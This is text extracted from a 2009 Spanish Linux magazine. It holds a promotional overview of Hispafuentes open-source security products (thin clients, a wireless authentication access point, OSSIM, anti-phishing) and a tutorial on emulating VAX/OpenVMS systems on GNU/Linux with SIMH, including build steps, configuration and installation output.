Forja de desarrolloEl Servicio de Salud de Castilla la Mancha (SESCAM) ha creado el Centro de Innovación en tecnología de la in-formación asociado a la Forja de desarrollos en software de código libre denominado “Forja de Desarrollo de Soft-ware”, utilizando la plataforma colaborativa GFORGE. Dicho desarrollo se ha llevado a cabo con la colaboración profesional de Hispafuentes. El objetivo es disponer de una plataforma de trabajo colaborativa a través de la cual se pueda llevar a cabo la gestión de los diferente proyec-tos de software desarrollados en la unidad de I+D+i de SESCAM.

LDAP CorporativoEl Servicio de Salud de Castilla y León (SaCyl) tiene im-plementado una solución aportada por Hispafuentes donde un único directorio con ramas de lectura o lectura-escritura dependiendo de la ubicación, mantiene la validación de la conexión junto a los atributos de uso y paso a servicios y aplicaciones en el área sanitaria de la Comunidad.

Cliente ligeroEl poder contar con un sistema que no requiere mantenimien-to ni licenciamiento y su reposición por desastre no obliga a ninguna personalización, que al abandonar o cerrar la sesión no hay traza ni rastro en local y que permite trabajar con sistema operativos mínimos siendo los servicios prestados de modo corporativo, está afianzando cada día con mayor ro-tundidad la ventaja de uso de los Thin PC. El resultado apre-ciable de estas características conlleva una alta simplicidad, un coste reducido, una seguridad alta y brinda disponibilidad permanente. Además, gracias al abaratamiento y a la mejora del ancho de banda de las comunicaciones, nos ha permitido probar estas soluciones con éxito en entornos tan dispares como educación, negocios, banca, ocio, etc.

Inicialización del sistema operativoEl terminal ligero deberá ser capaz de cargar un sistema ope-rativo mínimo que le permita conectarse con el servidor, este arranque efectuarse de las siguientes maneras:

Page 45: Linux_05_2009_ES

soluciones para empresasHispafuentes: una alternativa libre en la seguridad

45www.lpmagazine.org

• PXE: La tarjeta de red del cliente ligero debe de estar preparada para permitir que el sistema operativo sea descargado des-de un servidor. El cliente ligero además de tomar su dirección IP desde el ser-vidor DHCP, toma la dirección del ser-vidor que le va a suministrar el sistema operativo a utilizar. De esta manera, se pueden tener clientes ligeros que no pre-cisen de ningún tipo de unidad de alma- cenamiento.

• Compact Flash: Existen clientes ligeros que en lugar de tener discos duros tienen sopor- te para tarjetas compact flash, así es posi-ble cargar el sistema operativo del cliente ligero en una compact flash y arrancar desde allí. En ciertos aspectos el funcio-namiento de una compact flash es muy similar al de un disco duro IDE, de hecho, son muy baratos los adaptadores compact-flash/IDE, los cuales permiten reutilizar el interfaz IDE de un ordenador y utilizar en su lugar una compact flash. La ventaja de utilizar el arranque mediante este sistema es que es si es necesario personalizar el sis-tema operativo, suele ser más sencillo du-plicar en instalar compact flash que disco duro.

• Floppy: El sistema operativo arranca desde un floppy. Realmente en la actualidad no hay ningún sistema operativo de clientes ligeros que pueda arrancar completamente desde un floppy, sino que se arranca un cargador que continúa con la carga del sis-

tema operativo0 que se encuentra en otro dispositivo de almacenamiento.

• Disco duro: El sistema operativo puede arrancar desde el disco duro del cliente ligero si está disponible.

• USB: Si la BIOS del cliente ligero permite el arranque desde dispositivos USB, es po-sible utilizar memorias USB para la carga del sistema operativo.

• CDROM: El sistema operativo se encuen-tra en el equivalente de una distribución live.

Probablemente lo más adecuado para un entorno LAN sea el arranque mediante PXE, dado que esto permite identificar a cada terminal ligero (mediante el MAC de su tarjeta de red), y en función de esta, personalizar su arranque y su configuración de una manera centralizada. Es-te escenario (LAN y arranque mediante PXE) es el ideal siempre que bien se esté planeando la adquisición de equipos que vayan a trabajar como clientes ligeros, o si los equipos que dis-ponemos disponen de la posibilidad de arran-que mediante PXE. Si esto no es así, habrá que pensar en la adquisición de nuevas tarjetas de red para los clientes que lo necesiten, bien en la utilización de uno de los otros métodos de arranque descritos.

En cuanto a la WAN, no es posible utilizar el arranque mediante PXE dado que la confi-guración de red de la máquina remota no es obtenida utilizando el servidor DHCP local, por lo tanto se deberá utilizar para los termi-nales remotos alguno de los otros métodos de arranque.

El departamento de seguridad de Hispa-fuentes esta en condiciones de brindar a sus clientes soluciones personalizadas a un coste competitivo dentro del ámbito de los PC lige-ros y de su conectividad central en unos plazos óptimos.

SEREDINAEs sabido (o al menos debería serlo) que la seguridad de las conexiones inalámbricas, en muchos casos es, cuando menos, precaria. Hay limitaciones contra las que poco podemos hacer más allá que pedir que no ocurran, dado que al tratarse de un medio de transmisión Open Source, Figura 1. Esquema topología LAN + WAN

Figura 2. Gestión del servidor de autenticación

Page 46: Linux_05_2009_ES

46 Linux+ 5/2009

soluciones para empresasHispafuentes: una alternativa libre en la seguridad

puede haber determinadas sources que estén in-terfiriendo con nuestra transmisión ... general-mente en forma de interferencias. Por si esto fuera poco, la naturaleza del medio hace que el conectarse al mismo y comenzar a recibir no requiera estar físicamente en las instala-ciones o en el domicilio o en las instalaciones donde se alojan los equipos conectados a la red. Precisamente esa es una de las caracterís-ticas buscadas en las redes inalámbricas, pero desde el punto de vista de la seguridad esto no es nada bueno.

Desde el punto de vista legal, donde exis-ten actualmente grandes lagunas, podemos hacernos la siguiente pregunta: ¿Quién es el

responsable final si desde una red inalámbrica que ha sido vulnerada se lleva a cabo una ac-ción delictiva?, ¿es el usuario final (domestico o empresa) que alquila el servicio?, ¿es el proveedor de comunicaciones que nos brinda la infraestructura?.

Por otra parte, apoyándonos en la trans-parencia de la solución, hemos desarrollado una solución escalable que utiliza el certifica-do de paso al punto de conexión inalámbrico como un certificado adicional de uso para ac-ceso a información sensible de la compañía, permitiendo en nuestra oficina acceder a esa información e incluso descargarla en nuestro equipo personal, pero fuera de la oficina

esa información queda inaccesible evitando fuga de información y ayudando a cumplir la LOPD.

Desde Hispafuentes, pensando en facilitar la configuración y puesta en marcha de redes inalámbricas seguras, se ha acometido el de-sarrollo de SEREDINA. SEREDINA (Securi-zación de Redes Inalámbricas) es un punto de acceso inalámbrico el cual, partiendo de la co-nocida y exitosa plataforma OpenWrt (http:// www.openwrt.org) , incorpora y gestiona las siguientes funcionalidades utilizando software open source.

• Soporte para autenticación mediante 802.1x, utilizando distintos protocolos de auten-ticación EAP (EAP – PEAP, EAP – TLS y EAP – TTLS).

• Servidor de autenticación incorporado freeradius.

Seguridad en nuestras manosEl contar con una herramienta centralizada de seguridad perimetral es el deseo de cualquier técnico de seguridad, administrador de red, auditor, responsable de seguridad,etc. Son-deando a estos profesionales sobre sus expe-riencias nos cuentan que tiene que tener su herramienta de seguridad ideal.

• Normalice, agrupe y priorice los eventos, pudiendo tratar los eventos en tiempo real al pasar de infinidad de líneas de log a un número manejable.

• Correlacionar los eventos por medio de patrones y directivas, evitando los falsos positivos.

• Consola única de gestión con entorno ejecutivo, informes, ticket, estado, traza-bilidad de los eventos, asignaciones, etc.

• Personalización, filtrado, gestión del ries-gos, lógicas de negocio, posibilidad de aplicar distintos niveles de seguridad por segmento según nos convenga.

• Que no tengamos una caja negra donde no se sepa que se ejecuta ni como.

• Poder crecer, desplegar y distribuir man-teniendo lo creado, siendo por tanto esca-lable de manera garantizada.

• Poder delegar la administración, clasificar la información y automatizar respuestas de forma rápida y fácil.

• Garantizar la inversión, pudiendo integrar distintos sistemas o herramientas ya exis-tentes o futuras sin grandes restricciones.

• No tener que pagar licencias o servicios especiales periódicos o no previstos para mantener la protección de los activos

Figura 3. Gestión de la Autoridad de Certificación

Figura 4. Gestión de usuarios

Page 47: Linux_05_2009_ES

47www.lpmagazine.org

soluciones para empresasHispafuentes: una alternativa libre en la seguridad

• Ausencia de costes ocultos y formaciones especificas.

¿Existe alguna herramienta de seguridad que de respuesta a estas inquietudes ? Todo eso y más ofrece OSSIM (Open Source Security Informa-tion Management).

OSSIMResuelve las problemáticas más habituales de los Responsables de Seguridad. Agrupa más de 15 programas de código abierto pro-porcionando todos los niveles tecnológicos necesarios para cubrir el ciclo completo de la gestión de seguridad y supervisión de seguri-dad (SOC) y por lo tanto, da respuesta global a toda la problemática de gestión de segu-ridad que puede plantearse en una Organi- zación.

Sistema de respuesta rápida antiphisingLa respuesta de las entidades ante los intentos de suplantación de sus servidores para cometer fraudes (phising), habitualmente es reactiva, esto quiere decir que la entidad víctima del phising tiene que ser consciente en primer lugar de que se están realizando un intento de ataque para poder poner en marcha posteriormente los

planes de contingencia que estén aprobados para cada caso. Generalmente esto significa in-tervención humana, y por consiguiente, pudiera darse el caso de que cuando se puedan poner en marcha las medidas correctivas, múltiples usuarios hayan podido ser víctimas de algún tipo de fraude.

El departamento de Seguridad Informá-tica de Hispafuentes está desarrollando un sistema de detección temprana y automati-zada de intentos de phising. Para ello, se ha evaluado la problemática del phising desde distintas perspectivas y se han aplicado múl-tiples soluciones complementarias ( mailbox honeypots, sistemas de listas negras, técnicas de inteligencia artificial ) que permitan a las entidades mediante módulos adaptables a cada portal y a cada necesidad, por un lado, la respuesta prácticamente inmediata ante un posible intento de phising, y por otro lado, alertar inmediatamente a los usuarios que ya hayan sido víctimas.

RFID en el MóvilLa convergencia de múltiples tecnologías en el dispositivo móvil es una muestra más del avance tecnológico hacia la ubicuidad e inteli- gencia ambiental.

NFC, Near Field Communication o tec- nología de campo cercano o proximidad, es una muestra de la integración de la tecno-logía inalámbrica con tarjetas inteligentes o smart card que dotan al móvil de todos los servicios de éstas con la conveniencia y simplicidad del uso del teléfono móvil. De esta forma pueden desarrollarse numerosos servicios en el móvil, con un nivel de segu-ridad elevado como por ejemplo el pago con el teléfono móvil. Los servicios nuevos que surgirán serán los de proximidad a los que el usuario puede acceder tan sólo acercando su móvil a un terminal que ofrezca el servi-cio. Ejemplos de servicios están mostrados en la Figura 6.Figura 5. Pishing

Figura 6. Ejemplos de servicios de NFC

Page 48: Linux_05_2009_ES

soluciones para empresasRehosting de sistemas VAX/OpenVMS

48 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Este caso es particularmente dramático en deter-minados sectores de la industria como el naval y aeroespacial, ya que el plazo de renovación de los equipos informáticos es ostensiblemente

inferior a la duración del proyecto afectado, superior en mu-chos casos a diez años.

Imaginemos por un momento un proyecto de desa-rrollo de software embebido que requiere técnicas RT (Real-Time) iniciado a fines de la década de los ochenta, utilizando como plataforma de desarrollo sistemas VAX de Digital Equipment Corporation bajo sistema operativo OpenVMS, caso tomado de la industria aeronáutica, en la que el cambio o actualización de cualquier componente, está sujeto a severas restricciones. ¿Qué ocurre cuando en estos momentos se avería un componente como un disco duro y no disponemos de repuestos fiables, salvo en el mercado de ocasión? La solución para ello es sencilla: basta aprovechar la potencia de los equipos actuales para realizar una migración de esta plataforma VAX/OpenVMS a un sistema que permita su emulación y este va a ser el objetivo del presente artículo.

Los sistemas VAX/VMS. Un poco de historiaOriginariamente desarrollados en la década de los 70 por Di-gital Equipment Corporation, los sistemas VAX constituyen un ejemplo de plataforma ISA basada en una arquitectura CICS de 32 bits, concebida originalmente para sustituir los antiguos equipos DEC PDP, incorporando capacidades de direccionamiento virtual, así como un juego de instruccio-nes ortogonal. Estas plataformas alcanzaron su máximo esplendor en la década de los ochenta como paradigma de la

Rehosting de sistemas VAX/OpenVMS en sistemas GNU/LinuxUno de los problemas más frecuentes que se presentan en determinados proyectos de diseño de sistemas y desarrollo de software a largo plazo es la obsolescencia del mismo y especialmente, el hardware utilizado.

José B. Alós Alquézar

• Instalación, configuración y administración de servi-dores VAX/OpenVMS en sistemas GNU/Linux,

• Aspectos básicos de configuración y conectividad TCP-IP para sistemas emulados,

• Arquitectura básica y posibilidades de los sistemas VAX/OpenVMS,

• Instalación de productos adicionales VAX/OpenVMS emulados por sistemas GNU/Linux.

En este artículo aprenderás

Page 49: Linux_05_2009_ES

soluciones para empresasRehosting de sistemas VAX/OpenVMS

49www.lpmagazine.org

arquitectura CICS ISA hasta su declive durante la década posterior.

El sistema VMS, acrónimo de Virtual Me- mory System, previamente conocido como VAX-11/VMS, VAX/VMS es un sistema opera- tivo soportado por plataformas Digital Equi-pment Corporation VAX y Alpha, compañía que a través de los años, ha sido adquirida su-cesivamente por Compaq y Hewlett-Packard, es un sistema de proceso multiusuario de tiem-po compartido de alto nivel diseñado original-mente para admitir capacidades de procesado batch, sistemas de tiempo real y proceso de transacciones, que ofrece capacidades de Alta Disponibilidad a través de soluciones de clus-ter o incluso, la posibilidad de ser distribuido en varios servidores.

Estas capacidades, han hecho que el tándem VAX/OpenVMS fuera utilizado en la progra-mación de sistemas empotrados de tiempo real, debido a su elevada fiabilidad. Los primeros pasos arrancan en 1975 de la mano de DEC con el proyecto Star, cuya finalidad era lograr una extensión de una memoria virtual de 32 bits pa-ra los venerables PDP-11 de la mano de Gordon Bell, Roger Gourd y Dave Cutler.

Estos trabajos culminaron en la plataforma VAX 11/780 y el sistema operativo VAX-11/VMS, cuya denominación ha ido cambiando a lo largo de los años.

Como curiosidad histórica, si en los siste- mas UNIX el tiempo comienza en 1970, el inicio de la era VMS empieza el 17 de noviem-

bre de 1858, lo que supone que al utilizar Op-enVMS 64 bits para representar una unidad de tiempo de 100 ns, el famoso efecto 2000 de estos sistemas acontecerá el 31 de julio de 3108

Soluciones existentes en el mercadoDentro del abanico de alternativas existentes en el momento actual para extender la vida de aplicaciones desarrolladas en los venerables entornos VAX, se va a presentar únicamente dos soluciones, una propietaria y por consi-guiente, de elevado coste, confrontada con una solución OpenSource particularizada a siste-mas Unix en sus diferentes versiones. Estas dos soluciones presentan las siguientes ven-tajas respecto a la utilización de los entornos originarios:

• Aceleración del sistema y el acceso a re-cursos VAX/OpenVMS,

• Incremento radical de la capacidad de al-macenamiento,

• Disponibilidad de tecnologías RAID para sistemas VAX/OpenVMS,

• Posibilidad de utilizar herramientas de backup actualizadas,

• Facilitar las actualizaciones de los sistemas operativos y el software VAX/OpenVMS.

CHARON VAX Emulator es una solución que permite la emulación de sistemas VAX, Alpha o PDP en entornos IA32 bajo sistema operativo MS Windows según el esquema de la Figura 2;

quizás el aspecto más ventajoso y que no pre-senta la solución OpenSource es la posibilidad de mapeo de múltiples puertos RS-232 de ser-vidores VAX a una tarjeta multipuerto instalada en un ordenador personal.

Esta última posibilidad es especialmente importante en el desarrollo de sistemas em-bebidos, al permitir reemplazar servidores de terminales DECServer 200/700, también afectados por la obsolescencia natural de estos equipos, uno de cuyos exponentes, el servi-dor VAXStation 4000/90 se muestra en la Fi- gura 3.

Nuestra propuesta multiplataforma es SI-MH, emulador multiplataforma que funciona en entornos MS Windows y sistemas Unix como OpenBSD, NetBSD, Solaris y natural-mente, GNU/Linux y que se va a presentar en sucesivos apartados.

El emulador SIMHThe Computer History Simulator Project, también conocido bajo el acrónimo SIMH cu-yo código fuente se halla disponible en http://

Figura 2 Arquitecturas comerciales de emulación de sistemas VAX/OpenVMS

Figura 3. Interior de una estación VAXStation 4000/90

Figura 1. VAXstation 4000

• Conocimientos de sistemas Unix a ni- vel de desarrollador,

• Rudimentos básicos de sistemas VAX/OpenVMS,

• Compilación de software mediante GNU Autoconf,

• Configuración de interfaces de red TCP-IP.

Lo que deberías saber

Page 50: Linux_05_2009_ES

50 Linux+ 5/2009

soluciones para empresasRehosting de sistemas VAX/OpenVMS

simh.trailing-edge.com/, es un emulador ba-sado en MIMIC, desarrollado en la década de los 60 y cuya primera versión fue liberada en 1993 al objeto de emular sistemas y hardware antiguo como los que se hallan incluidos en la Tabla 1 a título de ejemplo.

Así como las menos conocidas de Ro-yal-Mcbee y Scientific Data Systems, SIMH también dispone de una colección de utilida-des para la manipulación de ficheros en los formatos propios de algunas arquitecturas como DEC PDP. La versión SIMH 3.8.0 fue la última liberada el 15 de junio de 2008.

El sistema operativo OpenVMSAntes de continuar con el artículo, es preciso una pequeña digresión sobre el software a emu- lar en plataformas VAX/OpenVMS que, evi- dentemente, es propietario. No obstante en el momento actual, HP Compaq proporciona a los

Tabla 1. Sistemas emulados por SIMH

Digital Equipment Corporation PDP-1/PDP-4/PDP-7/PDP-11/PDP-15/VAX

Data General Nova / Eclipse

GRI Corporation GRI-909

IBM 1401/1620/1130/7090/7094/System/3

Interdata 16/32 bit series

Hewlett-Packard 2116/2100/21MX

Honeywell H316 and H516

MITS Altair 8800 / Intel 8080

Listado 1. Generando las aplicaciones necesarias

persephone:~$ mkdir simh

persephone:~$ cd simh

persephone:~$ unzip sim-3.8.0.zip

persephone:~simh$ mkdir BIN

persephone:~$ make USE_NETWORK=1 BIN/vax

Listado 2. Fichero de configuración inicial vax.ini

;

; Load CPU microcode

load -r /opt/vax/data/ka655x.bin

;

; Attach non-volatile RAM to a file

attach nvr /opt/vax/data/nvram.bin

;

; This virtual machine has 64M memory

set cpu 64m

;

; Define disk drive types. RA92 is largest-supported VAX drive.

set rq0 ra92

set rq1 ra92

set rq2 ra92

set rq3 cdrom

;

; Attach defined drives to local files

attach rq0 /opt/vax/data/d0.dsk

attach rq1 /opt/vax/data/d1.dsk

attach rq2 /opt/vax/data/d2.dsk

;

; Attach the CD-ROM to its file (read-only)

attach -r rq3 /opt/vax/data/cd.iso

;

; Disable unused devices. It's also possible to disable individual

devices,

; using a construction like "set rq2 disable" if desired.

;

set rl disable

set ts disable

;

; Attach Ethernet to a network interface

set xq mac=00-11-95-5c-f5-b4

attach xq eth0

;

; Now start the emulator

boot cpu

Uno de los grandes problemas existen-tes en la industria es el mantenimiento de sistemas informáticos debido a la ob-solescencia de componentes. Quizás el caso más paradigmático sucede en la industria aeronáutica, en la que, los pro- yectos a largo plazo de un mínimo de quince años tropiezan con el handicap de que los sistemas utilizados para el desa-rrollo de software empotrado no se pue-den cambiar con la frecuencia que sería deseable.

Hace quince años, el desarrollo de sistemas de tiempo real (RT-Systems) estaba adscrito a las plataformas VAX/OpenVMS. Actualmente, existen una gran cantidad de desarrollos que deben ser mantenidos como sucede en la indus-tria aeronáutica, en la que los cambios de componentes críticos, de sistemas de vuelo están, como comprenderá el lector, sujetos a severas restricciones.

Una perspectiva a tener en cuenta es que el grupo de usuarios de sistemas DEC, conocido como DECUS, nació en 1961 aunque el verdadero inicio de la época VMS arranca con el proyecto Star en 1975, alcanzando su máximo esplen-dor en la década de los ochenta de la mano de la industria, entidades guberna-mentales y financieras, en las que a día de hoy y a pesar de la obsolescencia del hardware, la plataforma VAX/OpenVMS sigue teniendo un nicho de mercado.

VAX/OpenVMS

Page 51: Linux_05_2009_ES

51www.lpmagazine.org

soluciones para empresasRehosting de sistemas VAX/OpenVMS

desarrolladores que lo soliciten unas licencias para uso no comercial disponibles en el portal OpenVMS Hobbyist http://www.open vmshobbyist.com/news.php, destinadas especí- ficamente a propósitos de formación o inves-tigación:

• Registrarse en Emcompass US, en la URL https://www.encompassus.org/,

• Solicitar el kit OpenVMS VAX Hobbyist Kit 3.0,

• Facultativamente, adquirir las licencias necesarias o acogerse al proyecto Compaq OpenVMS Hobbyist.

Por este motivo, la realización de la platafor-ma exige la obtención de una copia del sis-tema operativo OpenVMS 7.3 para sistemas VAX, así como las licencias PAK necesarias. Estas consideraciones serán de aplicación para el resto de software básico cubierto por las Layered Product Licenses que se pretenda migrar, como compiladores en BLISS, C, PL/1, Fortan, Cobol, intérpretes y otras utilidades propietarias.

Construcción de la plataforma OpenVMS/VAX mediante SIMHEn primer lugar, es preciso poseer un sistema GNU/Linux con el soporte completo para de-sarrollo C/C++ junto con la librería libpcap, que nos permitirá establecer una conexión

TCP-IP con el entorno VAX/OpenVMS emulado mediante SIMH. Aun cuando exis-ten paquetes binarios disponibles para arqui-tecturas Intel, consideramos de mayor interés realizar el proceso de construcción a partir del código fuente de todo el sistema de emu- lación:

Figura 4. Arranque del sistema VAX/OpenVMS emulado

Figura 5. Arranque de la instalación del SO Open-VMS con el dispositivo DUA3

Listado 3. Arranque del proceso de instalación OpenVMS en el sistema emulado

root@persephone:~# /opt/vax/bin/vax

VAX simulator V3.7-3

NVR: buffering file in memory

RQ: unit is read only

Eth: opened eth0

KA655-B V5.3, VMB 2.7

Performing normal system tests.

40..39..38..37..36..35..34..33..32..31..30..29..28..27..26..25..

24..23..22..21..20..19..18..17..16..15..14..13..12..11..10..09..

08..07..06..05..04..03..

Tests completed.

>>>b dua0

(BOOT/R5:0 DUA0

Available devices for this installation are:

Available device DUA0: device type RA92

Available device DUA1: device type RA92

Available device DUA2: device type RA92

Available device DUA3: device type RRD40

Available device DYA0: device type RX02

Available device DYA1: device type RX02

Available device MUA0: device type TK50

Available device MUA1: device type TK50

Available device MUA2: device type TK50

Available device MUA3: device type TK50

Listado 4. Los productos instalados en el sistema

$ product show product *

----------------------------------- ----------- ------------

PRODUCT KIT TYPE STATE

----------------------------------- ----------- ------------

DEC VAXVMS DECNET_PHASE_IV V7.3 Full LP Installed

DEC VAXVMS TCPIP V5.1-15 Full LP Installed

DEC VAXVMS VMS V7.3 Transition Installed

----------------------------------- ----------- ------------

3 items found

• Instalación si no existe, del entorno de de- sarrollo GNU/Linux para C/C++,

• Descarga e instalación de la librería lib- pcap,

• Descarga del código fuente SIMH 3.8.0, disponible en http://simh.trailing-edge. org.

Page 52: Linux_05_2009_ES

52 Linux+ 5/2009

soluciones para empresasRehosting de sistemas VAX/OpenVMS

La librería PCAP es necesaria si se desea habili-tar el acceso Ethernet al sistema emulado

Opcionalmente, resulta interesante compi-lar el kernel Linux con el soporte para disposi-tivos virtuales TUN/TAP activado, aunque será este un punto en el que volveremos a insistir al finalizar el proceso de instalación y puesta en funcionamiento.

Procedimiento de instalaciónUna vez obtenido el código fuente es preciso pro-ceder a su desempaquetado y posterior compila- ción. En el caso que nos ocupa, puesto que úni- camente estamos interesados en una plataforma VAX, generaremos únicamente las aplicaciones estrictamente necesarias para esta plataforma me- diante los comandos presentados en el Listado 1.

Una vez concluida esta operación podemos generar manualmente los directorios:

root@persephone:~# mkdir

-p /opt/vax/bin

root@persephone:~# mkdir /opt/vax/data

y proceder a copiar el fichero binario vax junto al fichero de arranque PROM KA655 a su ubi-cación definitiva:

root@persephone:~# cp BIN/vax /opt/

vax/bin

root@persephone:~# cp VAX/ka655.bin

/opt/vax/data

Listado 5. Instalación de componentes adicionales OpenVMS

$ mount/override=id dua3:

%MOUNT-I-WRITELOCK, volume is write locked

%MOUNT-I-MOUNTED, VAXVMS073 mounted on _ARES$DUA3:

$ dir dua3:[0,0]

Directory DUA3:[000,000]

000000.DIR;1 BACKUP.SYS;1 BADBLK.SYS;1 BADLOG.SYS;1

BITMAP.SYS;1 CONTIN.SYS;1 CORIMG.SYS;1 DCE_

VAX030.DIR;1

DECNET_PHASE_IV_VAX073.DIR;1 DECNET_PLUS_VAX073.DIR;1

DECW073.C;1 DECW073.D;1 DECW073.E;1 DECW073.F;1

DOCUMENTATION.DIR;1 DWMOTIF_VAX125.DIR;1 DWMOTIF_

VAX126.DIR;1

HELP_MESSAGE.DIR;1 INDEXF.SYS;1 ISL_SCRIPT.ESS;1 KERBEROS_

VAX010.DIR;1

KITS.DIR;1 SECURITY.SYS;1 SYS0.DIR;1 SYS1.DIR;1

TCPIP_VAX051.DIR;1 VAX073.DIR;1 VMS073.A;1 VMS073.B;1

VMS073.C;1 VMS073.D;1 VMS073.E;1 VMS073.F;1

VMSI18N_VAX073.DIR;1 VOLSET.SYS;1

Total of 35 files.

Listado 6. Instalación del soporte TCP-IP en sistemas OpenVMS

$ product

_Operation (INSTALL, SHOW, ...): install

_Product name (* to show list): *

The following product has been selected:

DEC VAXVMS TCPIP V5.1-15 Layered Product

Do you want to continue? [YES]

Configuration phase starting ...

You will be asked to choose options, if any, for each selected product and

for

any products that may be installed to satisfy software dependency

requirements.

DEC VAXVMS TCPIP V5.1-15: Compaq TCP/IP Services for OpenVMS.

(c) Compaq Computer Corporation 2000. All Rights Reserved.

Listado 7. La interfaz eth0

root@persephone:~# ifconfig eth1

eth1 Link encap:Ethernet HWaddr 00:11:95:5c:f5:b4

inet6 addr: fe80::211:95ff:fe5c:f5b4/64 Scope:Link

UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:2 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:168 (168.0 B)

Interrupt:11 Base address:0xb800

A pesar de tratarse de un sistema pro-pietario, el programa OpenVMS Hobb-yist localizado en http://www.openvms hobbyist.org/ e iniciado en 1997 propor-ciona tanto el sistema operativo como una gran variedad de productos asocia-dos denominados layered products de forma gratuita para uso no comercial. Este hecho ha permitido a otras compa-ñías presentar sus aplicaciones bajo los mismas disposiciones de uso, como el Process Software y MVP Systems.

El tiempo requerido actualmente pa-ra obtener una licencia hobbyist es infe-rior a una semana, y existe la posibilidad de obtener el soporte físico en CD-ROM por 30 USD. Es igualmente posible ob- tener la documentación deseada sobre la familia OpenVMS en http://www. openvms.org/ así como directamente de http://www.hp.com.

El programa OpenVMS Hobbyist

Page 53: Linux_05_2009_ES

53www.lpmagazine.org

soluciones para empresasRehosting de sistemas VAX/OpenVMS

Una vez realizado este paso, es preciso estable-cer un fichero de configuración inicial vax.ini en el directorio /opt/vax/data, en el que se establezcan las características básicas de configuración del sistema VAX/OpenVMS a emular y cuyo contenido está presentado en el Listado 2, así como establecer un enlace simbólico del fichero al directorio /opt/vax/bin, a fin de que el binario vax pueda hacer uso de éste:

root@persephone:~# ln -sf /opt/vax/

data/vax.ini /opt/vax/bin/vax.ini

En este fichero de configuración, se estable-ce un sistema VAX con una memoria RAM de 32 MB, así como tres discos duros RA92 presentes en los dispositivos rq0, rq1 y rq2, respectivamente, así como una unidad de CD-ROM virtual en el dispositivo rq3 bajo el fichero /opt/vax/data/cd.iso, destina-da a realizar la instalación del sistema ope-rativo OpenVMS 7.3, así como la dirección Ethernet de un dispositivo NIC libre para proporcionar la conexión TCP-IP al sistema emulado.

Una vez realizados estos pasos, es posi-ble proceder al arranque del emulador VAX/OpenVMS mediante el ejecutable:

root@persephone:~# /opt/vax/bin/vax

obteniéndose en pantalla la salida de la Fi-gura 4.

Con ello, es posible iniciar ya la insta- lación del sistema operativo OpenVMS. En nuestro caso, hemos escogido la versión Open- VMS 7.3 de cara a ejemplificar completamente el proceso a seguir.

Instalación del sistema operativo OpenVMS 7.3Una vez obtenida una copia del sistema opera-tivo OpenVMS 7.3 en CD-ROM, es necesario transferir ésta al fichero cd.iso en el directorio /opt/vax/data, de conformidad a lo estipu-lado en el apartado precedente mediante el siguiente comando:

root@persephone:~# dd if=/dev/cdrom

of=/opt/vax/data/cd.iso

Además, debe procederse a crear un fichero que actúe como disco del sistema emulado VAX/OpenVMS de forma análoga al caso anterior, que corresponderá al dispositivo rq0 del Listado 2, y que aparece como el fichero /opt/vax/data/d0.dsk con el tamaño desea-do; en este caso 1GB:

Listado 8. EL menú interactivo que utilizaremos para la configuración de la interfaz de red

Compaq TCP/IP Services for OpenVMS Configuration Menu

Configuration options:

1 - Core environment

2 - Client components

3 - Server components

4 - Optional components

5 - Shutdown Compaq TCP/IP Services for OpenVMS

6 - Startup Compaq TCP/IP Services for OpenVMS

7 - Run tests

A - Configure options 1 - 4

[E] - Exit configuration procedure

Enter configuration option: 1

Listado 9. Reconfiguración del kernel OpenVMS 7.3

@SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK

$ @SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK

%AUTOGEN-I-BEGIN, GETDATA phase is beginning.

%AUTOGEN-I-NEWFILE,

Previous contents of SYS$SYSTEM:CLU$PARAMS.DAT have

been copied to SYS$SYSTEM:CLU$PARAMS.OLD.

You may wish to purge

SYS$SYSTEM:CLU$PARAMS.OLD.

%AUTOGEN-I-NEWFILE,

A new version of SYS$SYSTEM:PARAMS.DAT

has been created.

You may wish to purge this file.

%AUTOGEN-I-END, GETDATA phase has successfully completed.

%AUTOGEN-I-BEGIN, GENPARAMS phase is beginning.

%AUTOGEN-I-NEWFILE, A new version of SYS$MANAGER:

VMSIMAGES.DAT has been created.

You may wish to purge this file.

Figura 6. Definición de la interfaz de red Ethernet en OpenVMS

Page 54: Linux_05_2009_ES

54 Linux+ 5/2009

soluciones para empresasRehosting de sistemas VAX/OpenVMS

root@persephone:~# dd if=/dev/zero

of=/opt/vax/data/d0.iso count=1024k

bs=1k

Téngase en cuenta que en aquellos tiempos, un disco duro RRD92 tenía un tamaño de 400 MB; todo un hito para la época. Del mismo modo, si se desea crear el dispositivo disco duro rq1, re-petiríamos el proceso anterior. Finalmente, sólo resta proceder a ejecutar, como superusuario el binario:

root@persephone:~# /opt/vax/bin/vax

De este modo, el dispositivo rq3 del emulador VAX/OpenVMS implementa el CD-ROM de instalación del sistema operativo, lo cual se traduce a nivel de firmware en el sistema emulado en el dispositivo DUA3, a utilizar en el arranque de la instalación, como se muestra en la Figura 5. En nuestro caso, deberemos uti- lizar como disco VAX el dispositivo DUA0 que actuará en lo sucesivo como disco de arranque de nuestra plataforma emulada VAX/OpenVMS y seguir detalladamente los pasos que el asistente de instalación interactiva Op-enVMS nos solicite.

Una vez que OpenVMS 7.3 haya sido instalado en su totalidad, es necesario reiniciar el emulador SIMH arrancando el sistema ope-rativo desde el disco emulado DUA0 en lugar del CD-ROM DUA3, ejecutando los coman-dos recogidos en el Listado 3.

Se recomienda en este punto no utilizar el so-porte SMP en el kernel de Linux para evitar pro-blemas. Una vez arrancado el sistema OpenVMS 7.3, es el momento de instalar las licencias, así como productos adicionales presentes en Open-VMS Layered Components utilizando la imagen del CD-ROM presente en el fichero cd.iso.

Una vez la instalación del sistema operati-vo OpenVMS 7.3 ha concluido, los productos presentados en el Listado 4 aparecen ya insta-lados en el sistema.

Tras lo cual, podemos proceder a la instala-ción de los productos adicionales que se consi- deren necesarios. Concretamente, en nuestro caso, nos centraremos en la incorporación de comunicaciones TCP-IP, obviando el soporte de los protocolos DECnet, característicos de esta arquitectura.

Instalación de componentes adicionales VAX/OpenVMSA continuación, utilizando el fichero imagen cd.iso que contiene el sistema operativo Open- VMS 7.3, procedemos a la instalación de los componentes adicionales necesarios para el soporte Ethernet y TCP-IP. Una vez arrancado

